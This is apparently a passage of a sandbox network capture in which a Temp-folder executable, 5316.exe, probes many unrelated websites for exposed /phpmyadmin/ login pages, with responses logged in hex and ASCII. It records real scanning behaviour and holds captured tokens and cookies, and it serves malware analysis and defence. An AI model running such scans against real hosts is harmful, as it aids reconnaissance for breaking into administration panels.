2023-12-20 02:13:21 UTC	1369	IN	Data Raw: 61 67 65 73 2e 70 68 70 27 2c 20 30 29 0a 20 20 2e 61 64 64 28 27 63 6f 6e 66 69 67 2e 6a 73 27 2c 20 31 29 0a 20 20 2e 61 64 64 28 27 64 6f 63 6c 69 6e 6b 73 2e 6a 73 27 2c 20 31 29 0a 20 20 2e 61 64 64 28 27 66 75 6e 63 74 69 6f 6e 73 2e 6a 73 27 2c 20 31 29 0a 20 20 2e 61 64 64 28 27 6e 61 76 69 67 61 74 69 6f 6e 2e 6a 73 27 2c 20 31 29 0a 20 20 2e 61 64 64 28 27 69 6e 64 65 78 65 73 2e 6a 73 27 2c 20 31 29 0a 20 20 2e 61 64 64 28 27 63 6f 6d 6d 6f 6e 2e 6a 73 27 2c 20 31 29 0a 20 20 2e 61 64 64 28 27 70 61 67 65 5f 73 65 74 74 69 6e 67 73 2e 6a 73 27 2c 20 31 29 0a 20 20 2e 61 64 64 28 27 64 72 61 67 5f 64 72 6f 70 5f 69 6d 70 6f 72 74 2e 6a 73 27 2c 20 31 29 0a 20 20 2e 61 64 64 28 27 73 68 6f 72 74 63 75 74 73 5f 68 61 6e 64 6c 65 72 2e 6a 73 27 2c Data Ascii: ages.php', 0) .add('config.js', 1) .add('doclinks.js', 1) .add('functions.js', 1) .add('navigation.js', 1) .add('indexes.js', 1) .add('common.js', 1) .add('page_settings.js', 1) .add('drag_drop_import.js', 1) .add('shortcuts_handler.js',
2023-12-20 02:13:21 UTC	1369	IN	Data Raw: 28 27 64 72 61 67 5f 64 72 6f 70 5f 69 6d 70 6f 72 74 2e 6a 73 27 29 3b 0a 20 20 20 20 20 20 41 4a 41 58 2e 66 69 72 65 4f 6e 6c 6f 61 64 28 27 73 68 6f 72 74 63 75 74 73 5f 68 61 6e 64 6c 65 72 2e 6a 73 27 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 41 4a 41 58 2e 66 69 72 65 4f 6e 6c 6f 61 64 28 27 63 6f 6e 73 6f 6c 65 2e 6a 73 27 29 3b 0a 20 20 7d 29 3b 0a 2f 2f 20 5d 5d 3e 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 20 20 3c 6e 6f 73 63 72 69 70 74 3e 3c 73 74 79 6c 65 3e 68 74 6d 6c 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 6e 6f 73 63 72 69 70 74 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 69 64 3d 6c 6f 67 69 6e 66 6f 72 6d 3e 0a 20 20 0a 20 20 3c 64 69 76 20 69 64 3d 22 70 6d 61 5f 68 65 61 64 Data Ascii: ('drag_drop_import.js'); AJAX.fireOnload('shortcuts_handler.js'); AJAX.fireOnload('console.js'); });// ...</script> <noscript><style>html{display:block}</style></noscript></head><body id=loginform> <div id="pma_head
2023-12-20 02:13:21 UTC	1369	IN	Data Raw: 61 6d 65 3d 22 74 6f 6b 65 6e 22 20 76 61 6c 75 65 3d 22 32 32 36 65 37 30 34 66 37 62 34 66 34 36 32 32 37 32 34 39 35 31 35 32 32 36 34 64 33 38 35 34 22 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 66 69 65 6c 64 73 65 74 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 65 67 65 6e 64 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 22 6c 74 72 22 3e 4c 61 6e 67 75 61 67 65 3c 2f 6c 65 67 65 6e 64 3e 0a 20 20 20 20 0a 20 20 20 20 3c 73 65 6c 65 63 74 20 6e 61 6d 65 3d 22 6c 61 6e 67 22 20 63 6c 61 73 73 3d 22 61 75 74 6f 73 75 62 6d 69 74 22 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 22 6c 74 72 22 20 69 64 3d 22 73 65 6c 2d 6c 61 6e 67 22 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 Data Ascii: ame="token" value="226e704f7b4f462272495152264d3854"> <fieldset> <legend lang="en" dir="ltr">Language</legend> <select name="lang" class="autosubmit" lang="en" dir="ltr" id="sel-lang"> <option value="
2023-12-20 02:13:21 UTC	1369	IN	Data Raw: 63 68 0a 20 20 20 20 20 20 20 20 3c 2f 6f 70 74 69 6f 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 64 61 22 3e 0a 20 20 20 20 20 20 20 20 44 61 6e 73 6b 20 2d 20 44 61 6e 69 73 68 0a 20 20 20 20 20 20 20 20 3c 2f 6f 70 74 69 6f 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 6e 6c 22 3e 0a 20 20 20 20 20 20 20 20 4e 65 64 65 72 6c 61 6e 64 73 20 2d 20 44 75 74 63 68 0a 20 20 20 20 20 20 20 20 3c 2f 6f 70 74 69 6f 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 65 6e 22 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 65 6c 65 63 74 65 64 3d 22 73 65 6c 65 Data Ascii: ch </option> <option value="da"> Dansk - Danish </option> <option value="nl"> Nederlands - Dutch </option> <option value="en" selected="sele

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	52261	45.56.74.212	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:20 UTC	172	OUT	GET /phpmyadmin/ HTTP/1.1 Host: iconcap.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:21 UTC	218	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 20 Dec 2023 02:13:20 GMT Server: Apache Location: http://www.iconcap.com/phpmyadmin/ Content-Length: 242 Connection: close Content-Type: text/html; charset=iso-8859-1
2023-12-20 02:13:21 UTC	242	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 69 63 6f 6e 63 61 70 2e 63 6f 6d 2f 70 68 70 6d 79 61 64 6d 69 6e 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="http://www.iconcap.com/phpmyadmin/">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	52310	13.248.169.48	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:20 UTC	169	OUT	GET /phpmyadmin/ HTTP/1.1 Host: bvox.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:21 UTC	836	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 20 Dec 2023 02:13:20 GMT Content-Type: text/html Content-Length: 12976 Last-Modified: Wed, 13 Dec 2023 20:27:43 GMT Connection: close ETag: "657a13bf-32b0" X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_CWbTgyeFM62xUROj9jWU4cCIptftpmW3ftOHZntpcQ12BfcRivNUrWYRa8bHQRCDYYurjtqn7hAhHrZUI6aGrg Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: expiry_partner=;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Accept-Ranges: bytes
2023-12-20 02:13:21 UTC	12976	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 74 69 74 6c 65 3e 3c 2f Data Ascii: <!doctype html><html lang="en"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"/><title></

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	52284	162.215.248.230	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:20 UTC	176	OUT	GET /phpmyadmin/ HTTP/1.1 Host: devnetmedia.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:23 UTC	361	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 20 Dec 2023 02:13:21 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Redirect-By: WordPress Upgrade: h2,h2c Connection: Upgrade, close Location: https://www.devnetmedia.com/phpmyadmin/ Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	52294	192.252.146.15	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:20 UTC	179	OUT	GET /phpmyadmin/ HTTP/1.1 Host: twohillsstudio.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:21 UTC	352	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Dec 2023 02:13:21 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://twohillsstudio.com/wp-json/>; rel="https://api.w.org/" Upgrade: h2 Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2023-12-20 02:13:21 UTC	7840	IN	Data Raw: 31 66 31 33 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 74 77 6f 68 69 6c 6c 73 73 74 75 64 69 6f 2e 63 6f 6d 2f 78 6d 6c 72 70 63 Data Ascii: 1f13<!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"><link rel="profile" href="http://gmpg.org/xfn/11"><link rel="pingback" href="https://twohillsstudio.com/xmlrpc
2023-12-20 02:13:21 UTC	121	IN	Data Raw: 70 75 72 70 6c 65 3a 20 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 31 33 35 64 65 67 2c 72 67 62 28 32 35 35 2c 32 30 36 2c 32 33 36 29 20 30 25 2c 72 67 62 28 31 35 32 2c 31 35 30 2c 32 34 30 29 20 31 30 30 25 29 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 62 6c 75 73 68 2d 62 6f 72 64 65 61 75 78 3a 20 6c 69 6e 65 61 72 2d Data Ascii: purple: linear-gradient(135deg,rgb(255,206,236) 0%,rgb(152,150,240) 100%);--wp--preset--gradient--blush-bordeaux: linear-
2023-12-20 02:13:21 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-12-20 02:13:21 UTC	8192	IN	Data Raw: 31 66 66 38 0d 0a 67 72 61 64 69 65 6e 74 28 31 33 35 64 65 67 2c 72 67 62 28 32 35 34 2c 32 30 35 2c 31 36 35 29 20 30 25 2c 72 67 62 28 32 35 34 2c 34 35 2c 34 35 29 20 35 30 25 2c 72 67 62 28 31 30 37 2c 30 2c 36 32 29 20 31 30 30 25 29 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 6c 75 6d 69 6e 6f 75 73 2d 64 75 73 6b 3a 20 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 31 33 35 64 65 67 2c 72 67 62 28 32 35 35 2c 32 30 33 2c 31 31 32 29 20 30 25 2c 72 67 62 28 31 39 39 2c 38 31 2c 31 39 32 29 20 35 30 25 2c 72 67 62 28 36 35 2c 38 38 2c 32 30 38 29 20 31 30 30 25 29 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 70 61 6c 65 2d 6f 63 65 61 6e 3a 20 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 Data Ascii: 1ff8gradient(135deg,rgb(254,205,165) 0%,rgb(254,45,45) 50%,rgb(107,0,62) 100%);--wp--preset--gradient--luminous-dusk: linear-gradient(135deg,rgb(255,203,112) 0%,rgb(199,81,192) 50%,rgb(65,88,208) 100%);--wp--preset--gradient--pale-ocean: linear-gradient
2023-12-20 02:13:21 UTC	6	IN	Data Raw: 31 63 66 39 0d 0a Data Ascii: 1cf9
2023-12-20 02:13:21 UTC	7417	IN	Data Raw: 3f 76 65 72 3d 35 2e 37 2e 31 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 67 6f 6f 67 6c 65 2d 66 6f 6e 74 73 2d 63 73 73 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 4c 61 74 6f 25 33 41 34 30 30 25 32 43 35 30 30 25 32 43 36 30 30 25 32 43 37 30 30 25 37 43 50 6f 70 70 69 6e 73 25 33 41 34 30 30 25 32 43 35 30 30 25 32 43 36 30 30 25 32 43 37 30 30 26 23 30 33 38 3b 76 65 72 3d 32 2e 36 2e 31 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 Data Ascii: ?ver=5.7.1' type='text/css' media='all' /><link rel='stylesheet' id='google-fonts-css' href='https://fonts.googleapis.com/css?family=Lato%3A400%2C500%2C600%2C700%7CPoppins%3A400%2C500%2C600%2C700&ver=2.6.1' type='text/css' media='all' /><link rel='
2023-12-20 02:13:21 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-12-20 02:13:21 UTC	8192	IN	Data Raw: 32 30 30 30 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 09 09 2f 2a 20 63 6f 6f 6b 69 65 2e 63 73 73 20 2a 2f 0a 09 09 0a 09 09 2f 2a 20 43 75 73 74 6f 6d 20 63 6f 6c 6f 72 73 20 2a 2f 0a 09 09 2e 61 64 64 69 74 69 6f 6e 61 6c 2d 6e 61 76 2d 6d 65 6e 75 20 61 3a 68 6f 76 65 72 2c 20 2e 6e 61 76 2d 6d 65 6e 75 2d 63 6f 6e 74 65 6e 74 20 6c 69 20 61 3a 68 6f 76 65 72 2c 20 2e 6e 61 76 2d 6d 65 6e 75 2d 63 6f 6e 74 65 6e 74 20 6c 69 20 61 3a 61 63 74 69 76 65 2c 20 2e 6e 61 76 2d 6d 65 6e 75 2d 63 6f 6e 74 65 6e 74 20 6c 69 2e 63 75 72 72 65 6e 74 2d 6d 65 6e 75 2d 69 74 65 6d 3a 6e 6f 74 28 2e 63 75 72 72 65 6e 74 5f 70 61 67 65 5f 69 74 65 6d 29 20 3e 20 61 2c 20 2e 6e 61 76 2d 6d 65 6e 75 2d 63 6f 6e 74 65 6e 74 20 6c 69 Data Ascii: 2000<style type="text/css">/* cookie.css // Custom colors */.additional-nav-menu a:hover, .nav-menu-content li a:hover, .nav-menu-content li a:active, .nav-menu-content li.current-menu-item:not(.current_page_item) > a, .nav-menu-content li
2023-12-20 02:13:21 UTC	6	IN	Data Raw: 68 6f 76 65 72 7b Data Ascii: hover{
2023-12-20 02:13:21 UTC	2	IN	Data Raw: 0d 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	52376	13.248.169.48	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:20 UTC	178	OUT	GET /phpmyadmin/ HTTP/1.1 Host: topshelfgames.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:21 UTC	836	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 20 Dec 2023 02:13:21 GMT Content-Type: text/html Content-Length: 12976 Last-Modified: Wed, 13 Dec 2023 20:27:43 GMT Connection: close ETag: "657a13bf-32b0" X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_fhLLCybHKTh1AfztwlM8DPNCpKQG19GA1JOBvDv/ffS1OHiyQ2crx1dGVJ5I403IYrRNxd2B/e3kZ3RJqi8DAw Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: expiry_partner=;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Accept-Ranges: bytes
2023-12-20 02:13:21 UTC	12976	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 74 69 74 6c 65 3e 3c 2f Data Ascii: <!doctype html><html lang="en"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"/><title></

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	52160	209.126.24.60	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:20 UTC	174	OUT	GET /phpmyadmin/ HTTP/1.1 Host: horsetech.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:21 UTC	478	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 20 Dec 2023 02:13:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Set-Cookie: PHPSESSID=fb320fdfc8e6c01420a5f6689e0eb7b9; expires=Wed, 20-Dec-2023 03:13:21 GMT; Max-Age=3600; path=/; domain=horsetech.com; secure; HttpOnly; SameSite=Lax Pragma: no-cache Cache-Control: max-age=0, must-revalidate, no-cache, no-store Expires: Mon, 19 Dec 2022 17:32:39 GMT
2023-12-20 02:13:21 UTC	6744	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 2d 52 65 70 6f 72 74 2d 4f 6e 6c 79 3a 20 66 6f 6e 74 2d 73 72 63 20 2a 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 20 2a 2e 67 73 74 61 74 69 63 2e 63 6f 6d 20 2a 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 2a 2e 74 77 69 74 74 65 72 2e 63 6f 6d 20 2a 2e 74 79 70 65 6b 69 74 2e 6e 65 74 20 2a 2e 74 77 69 6d 67 2e 63 6f 6d 20 2a 2e 74 72 75 73 74 65 64 73 68 6f 70 73 2e 63 6f 6d 20 2a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 20 2a 2e 79 6f 75 74 75 62 65 2e 63 6f 6d 20 6d 61 70 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 20 2a 2e 79 6f 74 70 6f 2e 63 6f 6d 20 27 73 65 6c 66 27 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 3b 20 66 6f 72 6d 2d 61 63 74 69 6f 6e 20 73 65 63 75 72 65 2e Data Ascii: Content-Security-Policy-Report-Only: font-src .googleapis.com .gstatic.com .cloudflare.com .twitter.com .typekit.net .twimg.com .trustedshops.com .google.com .youtube.com maps.googleapis.com .yotpo.com 'self' 'unsafe-inline'; form-action secure.
2023-12-20 02:13:21 UTC	970	IN	Data Raw: 34 30 30 30 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 20 3e 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 3e 0a 20 20 20 20 76 61 72 20 42 41 53 45 5f 55 52 4c 20 3d 20 27 68 74 74 70 73 5c 75 30 30 33 41 5c 75 30 30 32 46 5c 75 30 30 32 46 68 6f 72 73 65 74 65 63 68 2e 63 6f 6d 5c 75 30 30 32 46 27 3b 0a 20 20 20 20 76 61 72 20 72 65 71 75 69 72 65 20 3d 20 7b 0a 20 20 20 20 20 20 20 20 27 62 61 73 65 55 72 6c 27 3a 20 27 68 74 74 70 73 5c 75 30 30 33 41 5c 75 30 30 32 46 5c 75 30 30 32 46 68 6f 72 73 65 74 65 63 68 2e 63 6f 6d 5c 75 30 30 32 46 73 74 61 74 69 63 5c 75 30 30 32 46 76 65 72 73 69 6f 6e 31 37 30 31 33 38 38 34 32 30 5c 75 30 30 32 46 66 72 6f 6e 74 Data Ascii: 4000<!doctype html><html lang="en"> <head > <script> var BASE_URL = 'https\u003A\u002F\u002Fhorsetech.com\u002F'; var require = { 'baseUrl': 'https\u003A\u002F\u002Fhorsetech.com\u002Fstatic\u002Fversion1701388420\u002Ffront
2023-12-20 02:13:21 UTC	4096	IN	Data Raw: 2e 63 6f 6d 2f 73 74 61 74 69 63 2f 76 65 72 73 69 6f 6e 31 37 30 31 33 38 38 34 32 30 2f 66 72 6f 6e 74 65 6e 64 2f 68 6f 72 73 65 74 65 63 68 2f 64 65 66 61 75 6c 74 2f 65 6e 5f 55 53 2f 63 73 73 2f 73 74 79 6c 65 73 2d 6d 2e 6d 69 6e 2e 63 73 73 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 6f 72 73 65 74 65 63 68 2e 63 6f 6d 2f 73 74 61 74 69 63 2f 76 65 72 73 69 6f 6e 31 37 30 31 33 38 38 34 32 30 2f 66 72 6f 6e 74 65 6e 64 2f 68 6f 72 73 65 74 65 63 68 2f 64 65 66 61 75 6c 74 2f 65 6e 5f 55 53 2f 63 73 73 2f 73 74 79 6c 65 73 2d 6c 2e 6d 69 6e 2e 63 73 73 22 20 2f 3e 0a 3c 6c 69 Data Ascii: .com/static/version1701388420/frontend/horsetech/default/en_US/css/styles-m.min.css" /><link rel="stylesheet" type="text/css" media="all" href="https://horsetech.com/static/version1701388420/frontend/horsetech/default/en_US/css/styles-l.min.css" /><li
2023-12-20 02:13:21 UTC	4096	IN	Data Raw: 29 27 29 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 6d 61 74 63 68 29 20 72 65 74 75 72 6e 20 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 6d 61 74 63 68 5b 31 5d 2e 72 65 70 6c 61 63 65 28 2f 5c 2b 2f 67 2c 20 27 20 27 29 29 20 3b 0a 20 20 20 20 20 20 20 20 7d 3b 0a 0a 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 64 61 74 61 4c 61 79 65 72 20 3d 20 77 69 6e 64 6f 77 2e 64 61 74 61 4c 61 79 65 72 20 7c 7c 20 5b 5d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 64 6c 34 4f 62 6a 65 63 74 73 20 3d 20 5b 7b 22 70 61 67 65 4e 61 6d 65 22 3a 22 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 22 2c 22 70 61 67 65 54 79 70 65 22 3a 22 6f 74 68 65 72 22 7d 5d 3b 0a 20 20 20 20 20 20 20 20 66 6f 72 20 28 76 61 72 20 69 20 69 6e Data Ascii: )')); if (match) return decodeURIComponent(match[1].replace(/\+/g, ' ')) ; }; window.dataLayer = window.dataLayer \|\| []; var dl4Objects = [{"pageName":"404 Not Found","pageType":"other"}]; for (var i in
